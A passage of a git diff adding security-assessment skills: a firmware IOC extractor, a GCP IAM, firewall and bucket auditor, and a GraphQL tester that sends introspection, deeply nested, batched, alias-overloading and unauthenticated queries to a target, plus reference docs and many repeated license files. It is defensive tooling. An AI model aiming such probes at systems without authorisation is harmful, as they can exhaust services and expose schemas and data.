"""Identify all ELF binaries in the extracted filesystem.""" + binaries = [] + for filepath in fs_root.rglob("*"): + if not filepath.is_file(): + continue + try: + result = subprocess.run( + ["file", "--brief", str(filepath)], + capture_output=True, text=True + ) + if "ELF" in result.stdout: + binaries.append({ + "file": str(filepath.relative_to(fs_root)), + "type": result.stdout.strip(), + "size": filepath.stat().st_size, + "sha256": hashlib.sha256(filepath.read_bytes()).hexdigest(), + }) + except (PermissionError, OSError): + continue + return binaries + + def extract_strings_iocs(self, fs_root): + """Extract IOCs (IPs, URLs, domains) from firmware binaries.""" + iocs = {"ips": set(), "urls": set(), "domains": set()} + ip_pattern = re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b") + url_pattern = re.compile(r"https?://[^\s\"'<>]+") + domain_pattern = re.compile(r"\b[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.[a-z]{2,}\b") + + for filepath in fs_root.rglob("*"): + if not filepath.is_file() or filepath.stat().st_size > 10_000_000: + continue + try: + content = filepath.read_bytes().decode("utf-8", errors="ignore") + iocs["ips"].update(ip_pattern.findall(content)) + iocs["urls"].update(url_pattern.findall(content)) + iocs["domains"].update(domain_pattern.findall(content)) + except (PermissionError, OSError): + continue + + private_ips = {"127.0.0.1", "0.0.0.0", "255.255.255.255"} + iocs["ips"] -= private_ips + return {k: sorted(v) for k, v in iocs.items()} + + def generate_report(self): + """Run full firmware analysis and generate a report.""" + report = {"firmware": str(self.firmware_path), "hash": self.compute_hash()} + report["binwalk_scan"] = self.run_binwalk_scan() + self.run_binwalk_extract() + + fs_root = self.find_filesystem_root() + if fs_root: + report["credentials"] = self.search_hardcoded_credentials(fs_root) + report["startup_scripts"] = self.check_startup_scripts(fs_root) + report["elf_binaries"] = self.find_elf_binaries(fs_root)[:50] + report["iocs"] = self.extract_strings_iocs(fs_root) + else: + report["filesystem"] = "No filesystem root found" + + report_path = self.output_dir / "firmware_analysis_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2, default=list) + print(json.dumps(report, indent=2, default=list)) + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: agent.py ") + sys.exit(1) + agent = FirmwareAnalysisAgent(sys.argv[1], sys.argv[2]) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-gcp-security-assessment-with-forseti/LICENSE b/skills/performing-gcp-security-assessment-with-forseti/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-gcp-security-assessment-with-forseti/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-gcp-security-assessment-with-forseti/references/api-reference.md b/skills/performing-gcp-security-assessment-with-forseti/references/api-reference.md new file mode 100644 index 00000000..dbedf049 --- /dev/null +++ b/skills/performing-gcp-security-assessment-with-forseti/references/api-reference.md @@ -0,0 +1,47 @@ +# API Reference: GCP Security Assessment with Forseti + +## Google Cloud Security Command Center API + +| Method | Description | +|--------|-------------| +| `SecurityCenterClient.list_findings(parent, filter)` | List active findings by severity and state | +| `SecurityCenterClient.list_sources(parent)` | List security sources in an organization | +| `SecurityCenterClient.group_findings(parent, group_by)` | Group findings by category or severity | + +## Cloud Asset Inventory API + +| Method | Description | +|--------|-------------| +| `AssetServiceClient.search_all_iam_policies(scope, query)` | Search IAM policies across org | +| `AssetServiceClient.search_all_resources(scope, asset_types)` | Search resources by type | +| `AssetServiceClient.export_assets(parent, output_config)` | Export asset inventory to BigQuery | + +## Compute Engine API (Firewall) + +| Method | Description | +|--------|-------------| +| `FirewallsClient.list(project)` | List all VPC firewall rules | +| `FirewallsClient.get(project, firewall)` | Get specific firewall rule details | + +## Cloud Storage API + +| Method | Description | +|--------|-------------| +| `Client.list_buckets()` | List all buckets in a project | +| `Bucket.get_iam_policy()` | Get IAM policy for a bucket | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `google-cloud-securitycenter` | >=1.23 | Security Command Center API access | +| `google-cloud-asset` | >=3.19 | Cloud Asset Inventory searches | +| `google-cloud-storage` | >=2.10 | Storage bucket auditing | +| `google-cloud-compute` | >=1.14 | Firewall rule enumeration | + +## References + +- Security Command Center API: https://cloud.google.com/security-command-center/docs/reference/rest +- Cloud Asset API: https://cloud.google.com/asset-inventory/docs/reference/rest +- CIS GCP Foundations Benchmark: https://www.cisecurity.org/benchmark/google_cloud_computing_platform +- ScoutSuite: https://github.com/nccgroup/ScoutSuite diff --git a/skills/performing-gcp-security-assessment-with-forseti/scripts/agent.py b/skills/performing-gcp-security-assessment-with-forseti/scripts/agent.py new file mode 100644 index 00000000..82f99a6e --- /dev/null +++ b/skills/performing-gcp-security-assessment-with-forseti/scripts/agent.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python3 +"""Agent for performing GCP security assessment. + +Audits IAM policies, firewall rules, storage permissions, and +Security Command Center findings using Google Cloud client libraries. +""" + +import json +import sys +from collections import defaultdict + +from google.cloud import securitycenter_v1 +from google.cloud import asset_v1 +from google.cloud import storage +from google.cloud import compute_v1 + + +class GCPSecurityAssessmentAgent: + """Performs security assessments on GCP organizations and projects.""" + + def __init__(self, organization_id, project_id=None): + self.org_id = organization_id + self.project_id = project_id + self.scc_client = securitycenter_v1.SecurityCenterClient() + self.asset_client = asset_v1.AssetServiceClient() + + def list_scc_findings(self, severity="CRITICAL"): + """List active Security Command Center findings by severity.""" + parent = f"organizations/{self.org_id}/sources/-" + findings = [] + request = securitycenter_v1.ListFindingsRequest( + parent=parent, + filter=f'state="ACTIVE" AND severity="{severity}"', + ) + for finding_result in self.scc_client.list_findings(request=request): + f = finding_result.finding + findings.append({ + "category": f.category, + "severity": securitycenter_v1.Finding.Severity(f.severity).name, + "resource": f.resource_name, + "event_time": f.event_time.isoformat() if f.event_time else None, + "description": f.description[:200] if f.description else "", + }) + return findings + + def audit_iam_policies(self): + """Search for overly permissive IAM bindings across the organization.""" + scope = f"organizations/{self.org_id}" + findings = {"owner_bindings": [], "public_access": [], "sa_admin": []} + + for query, category in [ + ("policy:roles/owner OR policy:roles/editor", "owner_bindings"), + ("policy:allUsers OR policy:allAuthenticatedUsers", "public_access"), + ]: + request = asset_v1.SearchAllIamPoliciesRequest(scope=scope, query=query) + for result in self.asset_client.search_all_iam_policies(request=request): + for binding in result.policy.bindings: + findings[category].append({ + "resource": result.resource, + "role": binding.role, + "members": list(binding.members), + }) + return findings + + def audit_firewall_rules(self): + """Audit VPC firewall rules for overly permissive ingress.""" + if not self.project_id: + return {"error": "project_id required for firewall audit"} + + client = compute_v1.FirewallsClient() + risky_rules = [] + + for rule in client.list(project=self.project_id): + if rule.direction != "INGRESS": + continue + source_ranges = list(rule.source_ranges) if rule.source_ranges else [] + if "0.0.0.0/0" not in source_ranges: + continue + allowed_ports = [] + for allowed in rule.allowed: + ports = list(allowed.ports) if allowed.ports else ["all"] + allowed_ports.append({ + "protocol": allowed.I_p_protocol, + "ports": ports, + }) + risky_rules.append({ + "name": rule.name, + "network": rule.network, + "source_ranges": source_ranges, + "allowed": allowed_ports, + "priority": rule.priority, + "disabled": rule.disabled, + }) + return risky_rules + + def audit_storage_buckets(self): + """Check storage buckets for public access and encryption settings.""" + if not self.project_id: + return {"error": "project_id required for storage audit"} + + client = storage.Client(project=self.project_id) + bucket_findings = [] + + for bucket in client.list_buckets(): + policy = bucket.get_iam_policy() + is_public = False + public_roles = [] + for binding in policy.bindings: + members = set(binding.get("members", [])) + if "allUsers" in members or "allAuthenticatedUsers" in members: + is_public = True + public_roles.append(binding["role"]) + + bucket_findings.append({ + "name": bucket.name, + "location": bucket.location, + "storage_class": bucket.storage_class, + "is_public": is_public, + "public_roles": public_roles, + "uniform_access": bucket.iam_configuration.get( + "uniformBucketLevelAccess", {} + ).get("enabled", False), + "versioning": bucket.versioning_enabled, + }) + return bucket_findings + + def get_finding_summary(self): + """Get summary counts of SCC findings grouped by severity.""" + parent = f"organizations/{self.org_id}/sources/-" + summary = defaultdict(int) + + for severity in ["CRITICAL", "HIGH", "MEDIUM", "LOW"]: + request = securitycenter_v1.ListFindingsRequest( + parent=parent, + filter=f'state="ACTIVE" AND severity="{severity}"', + ) + count = 0 + for _ in self.scc_client.list_findings(request=request): + count += 1 + summary[severity] = count + return dict(summary) + + def generate_assessment_report(self): + """Generate a comprehensive GCP security assessment report.""" + report = { + "organization_id": self.org_id, + "project_id": self.project_id, + } + + report["scc_findings_summary"] = self.get_finding_summary() + report["critical_findings"] = self.list_scc_findings("CRITICAL") + report["iam_audit"] = self.audit_iam_policies() + + if self.project_id: + report["firewall_audit"] = self.audit_firewall_rules() + report["storage_audit"] = self.audit_storage_buckets() + + print(json.dumps(report, indent=2, default=str)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [project_id] [action]") + print("Actions: report, findings, iam, firewall, storage") + sys.exit(1) + + org_id = sys.argv[1] + project_id = sys.argv[2] if len(sys.argv) > 2 else None + action = sys.argv[3] if len(sys.argv) > 3 else "report" + + agent = GCPSecurityAssessmentAgent(org_id, project_id) + + if action == "report": + agent.generate_assessment_report() + elif action == "findings": + findings = agent.list_scc_findings() + print(json.dumps(findings, indent=2, default=str)) + elif action == "iam": + iam = agent.audit_iam_policies() + print(json.dumps(iam, indent=2)) + elif action == "firewall": + fw = agent.audit_firewall_rules() + print(json.dumps(fw, indent=2)) + elif action == "storage": + buckets = agent.audit_storage_buckets() + print(json.dumps(buckets, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-graphql-depth-limit-attack/LICENSE b/skills/performing-graphql-depth-limit-attack/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-graphql-depth-limit-attack/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-graphql-introspection-attack/LICENSE b/skills/performing-graphql-introspection-attack/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-graphql-introspection-attack/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-graphql-security-assessment/LICENSE b/skills/performing-graphql-security-assessment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-graphql-security-assessment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-graphql-security-assessment/references/api-reference.md b/skills/performing-graphql-security-assessment/references/api-reference.md new file mode 100644 index 00000000..f622b494 --- /dev/null +++ b/skills/performing-graphql-security-assessment/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: GraphQL Security Assessment + +## GraphQL Introspection Query + +```graphql +{ + __schema { + queryType { name } + mutationType { name } + types { name kind fields { name type { name kind } } } + } +} +``` + +## Security Test Endpoints + +| Test | Query | Expected Secure Response | +|------|-------|-------------------------| +| Introspection | `{ __schema { types { name } } }` | Error: introspection disabled | +| Depth limit | Nested `{ users { friends { ... } } }` | Error: max depth exceeded | +| Batch queries | `[{query: "..."}, {query: "..."}]` | Error or single-query only | +| Aliases | `{ a1: __typename a2: __typename ... }` | Error: alias limit exceeded | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP client for GraphQL POST requests | +| `gql` | >=3.4 | Python GraphQL client with transport support | + +## graphql-cop CLI + +```bash +pip install graphql-cop +graphql-cop -t https://target.example.com/graphql +``` + +## clairvoyance (Schema Enumeration) + +```bash +python3 -m clairvoyance -u -w -o schema.json +``` + +## References + +- GraphQL specification: https://spec.graphql.org/ +- InQL Burp extension: https://github.com/doyensec/inql +- clairvoyance: https://github.com/nikitastupin/clairvoyance +- graphql-cop: https://github.com/dolevf/graphql-cop +- CSP Evaluator: https://csp-evaluator.withgoogle.com/ diff --git a/skills/performing-graphql-security-assessment/scripts/agent.py b/skills/performing-graphql-security-assessment/scripts/agent.py new file mode 100644 index 00000000..cff786f1 --- /dev/null +++ b/skills/performing-graphql-security-assessment/scripts/agent.py @@ -0,0 +1,197 @@ +#!/usr/bin/env python3 +"""Agent for performing GraphQL security assessment. + +Tests GraphQL endpoints for introspection leaks, authorization flaws, +query depth/complexity DoS, and injection vulnerabilities. +""" + +import requests +import json +import sys +from urllib.parse import urlparse + + +class GraphQLSecurityAgent: + """Performs authorized security assessments on GraphQL endpoints.""" + + def __init__(self, target_url, auth_token=None): + self.target_url = target_url + self.session = requests.Session() + self.session.headers.update({"Content-Type": "application/json"}) + if auth_token: + self.session.headers["Authorization"] = f"Bearer {auth_token}" + + def _query(self, query, variables=None): + """Send a GraphQL query and return the response.""" + payload = {"query": query} + if variables: + payload["variables"] = variables + try: + resp = self.session.post(self.target_url, json=payload, timeout=10) + return {"status": resp.status_code, "body": resp.json()} + except requests.RequestException as e: + return {"status": 0, "error": str(e)} + + def test_introspection(self): + """Test if introspection is enabled in production.""" + query = """{ + __schema { + queryType { name } + mutationType { name } + types { name kind } + } + }""" + result = self._query(query) + has_schema = "data" in result.get("body", {}) and "__schema" in result.get("body", {}).get("data", {}) + types = [] + if has_schema: + types = [t["name"] for t in result["body"]["data"]["__schema"].get("types", []) + if not t["name"].startswith("__")] + return { + "vulnerable": has_schema, + "severity": "Medium", + "finding": "Introspection enabled" if has_schema else "Introspection disabled", + "types_exposed": len(types), + "type_names": types[:20], + } + + def test_query_depth(self, max_depth=10): + """Test for query depth limiting.""" + nested = "{ __typename }" + for i in range(max_depth): + nested = f"{{ users {nested} }}" + query = nested + result = self._query(query) + has_error = "errors" in result.get("body", {}) + return { + "vulnerable": not has_error, + "severity": "High" if not has_error else "Info", + "depth_tested": max_depth, + "finding": "No query depth limit" if not has_error else "Query depth limited", + } + + def test_batch_queries(self): + """Test if batch queries are accepted (rate limit bypass risk).""" + batch = [ + {"query": "{ __typename }"}, + {"query": "{ __typename }"}, + {"query": "{ __typename }"}, + ] + try: + resp = self.session.post(self.target_url, json=batch, timeout=10) + body = resp.json() + is_array = isinstance(body, list) + return { + "vulnerable": is_array, + "severity": "High" if is_array else "Info", + "finding": "Batch queries accepted" if is_array else "Batch queries rejected", + "response_count": len(body) if is_array else 0, + } + except Exception as e: + return {"vulnerable": False, "error": str(e)} + + def test_field_suggestions(self): + """Test if field suggestions leak schema information.""" + query = "{ userzzzz }" + result = self._query(query) + errors = result.get("body", {}).get("errors", []) + suggestions = [] + for err in errors: + msg = err.get("message", "") + if "did you mean" in msg.lower() or "suggest" in msg.lower(): + suggestions.append(msg) + return { + "vulnerable": len(suggestions) > 0, + "severity": "Low", + "finding": "Field suggestions enabled" if suggestions else "No field suggestions", + "suggestions": suggestions, + } + + def test_unauthorized_access(self): + """Test queries without authentication token.""" + saved_auth = self.session.headers.pop("Authorization", None) + queries = [ + ("{ __typename }", "basic_access"), + ("{ users { id email } }", "user_listing"), + ('{ user(id: "1") { id email role } }', "user_detail"), + ] + results = [] + for query, test_name in queries: + result = self._query(query) + has_data = "data" in result.get("body", {}) + has_null_data = has_data and all( + v is None for v in result["body"]["data"].values() + ) if has_data else False + results.append({ + "test": test_name, + "accessible": has_data and not has_null_data, + "status": result.get("status"), + }) + if saved_auth: + self.session.headers["Authorization"] = saved_auth + accessible_count = sum(1 for r in results if r["accessible"]) + return { + "vulnerable": accessible_count > 0, + "severity": "High" if accessible_count > 0 else "Info", + "finding": f"{accessible_count} queries accessible without auth", + "details": results, + } + + def test_alias_overloading(self, count=50): + """Test for alias-based resource exhaustion.""" + aliases = " ".join(f'a{i}: __typename' for i in range(count)) + query = f"{{ {aliases} }}" + result = self._query(query) + has_error = "errors" in result.get("body", {}) + return { + "vulnerable": not has_error, + "severity": "Medium" if not has_error else "Info", + "aliases_tested": count, + "finding": f"Accepted {count} aliases" if not has_error else "Alias limit enforced", + } + + def run_full_assessment(self): + """Run all security tests and generate a report.""" + report = { + "target": self.target_url, + "findings": [], + } + tests = [ + ("Introspection", self.test_introspection), + ("Query Depth", self.test_query_depth), + ("Batch Queries", self.test_batch_queries), + ("Field Suggestions", self.test_field_suggestions), + ("Unauthorized Access", self.test_unauthorized_access), + ("Alias Overloading", self.test_alias_overloading), + ] + for test_name, test_fn in tests: + result = test_fn() + result["test_name"] = test_name + report["findings"].append(result) + + vulnerable_count = sum(1 for f in report["findings"] if f.get("vulnerable")) + report["summary"] = { + "total_tests": len(report["findings"]), + "vulnerabilities_found": vulnerable_count, + "critical": sum(1 for f in report["findings"] if f.get("severity") == "Critical" and f.get("vulnerable")), + "high": sum(1 for f in report["findings"] if f.get("severity") == "High" and f.get("vulnerable")), + "medium": sum(1 for f in report["findings"] if f.get("severity") == "Medium" and f.get("vulnerable")), + "low": sum(1 for f in report["findings"] if f.get("severity") == "Low" and f.get("vulnerable")), + } + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [auth_token]") + sys.exit(1) + + target_url = sys.argv[1] + auth_token = sys.argv[2] if len(sys.argv) > 2 else None + agent = GraphQLSecurityAgent(target_url, auth_token) + report = agent.run_full_assessment() + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-hash-cracking-with-hashcat/LICENSE b/skills/performing-hash-cracking-with-hashcat/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-hash-cracking-with-hashcat/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-http-parameter-pollution-attack/LICENSE b/skills/performing-http-parameter-pollution-attack/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-http-parameter-pollution-attack/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-ics-asset-discovery-with-claroty/LICENSE b/skills/performing-ics-asset-discovery-with-claroty/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-ics-asset-discovery-with-claroty/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-indicator-lifecycle-management/LICENSE b/skills/performing-indicator-lifecycle-management/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-indicator-lifecycle-management/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-initial-access-with-evilginx3/LICENSE b/skills/performing-initial-access-with-evilginx3/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-initial-access-with-evilginx3/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-insider-threat-investigation/LICENSE b/skills/performing-insider-threat-investigation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-insider-threat-investigation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-insider-threat-investigation/references/api-reference.md b/skills/performing-insider-threat-investigation/references/api-reference.md new file mode 100644 index 00000000..85dcfd7c --- /dev/null +++ b/skills/performing-insider-threat-investigation/references/api-reference.md @@ -0,0 +1,43 @@ +# API Reference: Insider Threat Investigation + +## Data Sources + +| Source | Log Type | Key Fields | +|--------|----------|------------| +| DLP System | File transfers, USB connections | user, action, file_path, bytes, device_id | +| Email Gateway | Sent/received/forwarded emails | sender, recipient, subject, attachment_size | +| VPN / Auth Logs | Authentication events | user, timestamp, source_ip, result | +| Cloud Access Broker | SaaS application activity | user, app, action, data_volume | +| Badge Access | Physical access events | user, location, timestamp, direction | + +## Microsoft Graph API (for Microsoft 365 environments) + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/auditLogs/signIns` | GET | User sign-in activity logs | +| `/security/alerts` | GET | Security alerts including DLP | +| `/users/{id}/activities` | GET | User activity feed | +| `/users/{id}/mailFolders/{id}/messages` | GET | Email messages (eDiscovery) | + +## 